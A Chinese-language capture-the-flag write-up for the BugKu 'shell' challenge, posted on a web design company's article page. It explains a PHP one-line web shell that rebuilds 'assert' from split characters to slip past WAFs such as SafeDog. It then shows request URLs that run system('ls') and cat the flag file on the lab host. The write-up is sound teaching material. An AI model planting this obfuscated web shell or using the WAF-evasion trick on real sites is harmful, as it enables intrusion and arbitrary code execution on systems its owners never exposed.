ARTICLE DETAIL

资讯详情

深耕网站建设与运营推广的一线实战洞察。

BugKu——shell

BugKu——shell 一、题目二、方法提示中给了php代码$poca#s#s#e#r#t; $poc_1explode(#,$poc); $poc_2$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5]; $poc_2($_GET[s]) 解析 $poc a#s#s#e#r#t; explode(#, $poc) 以 # 为分隔符把字符串拆成数组 php $poc_1 [a, s, s, e, r, t]; 然后拼接 php $poc_2 a.s.s.e.r.t; // 即 assert 最后执行 php assert($_GET[s]); 所以这实际上是一个 assert 一句话木马通过 GET 参数 s 传入代码并执行。过狗一句话什么意思“狗”通常指 安全狗SafeDog 之类的 WAFWeb 应用防火墙。直接写 assert($_GET[s]) 会被 WAF 拦截因为 assert 是危险函数$_GET 也是敏感特征。出题人用 explode 字符串拼接的方式把 assert 拆成 a#s#s#e#r#t运行时才拼成 assert从而绕过 WAF 的静态特征检测。这就是“过狗”的含义。既然 assert($_GET[s]) 会执行我们传入的代码那么我们可以通过 ?s... 来执行任意 PHP 代码。先用 PHP 函数读取文件找到一个flag的txt文件。http://160.202.254.160:11145/?ssystem(ls);查看该文件得到flag。http://160.202.254.160:11145/?ssystem(cat flaga15808abee46a1d5.txt);
返回列表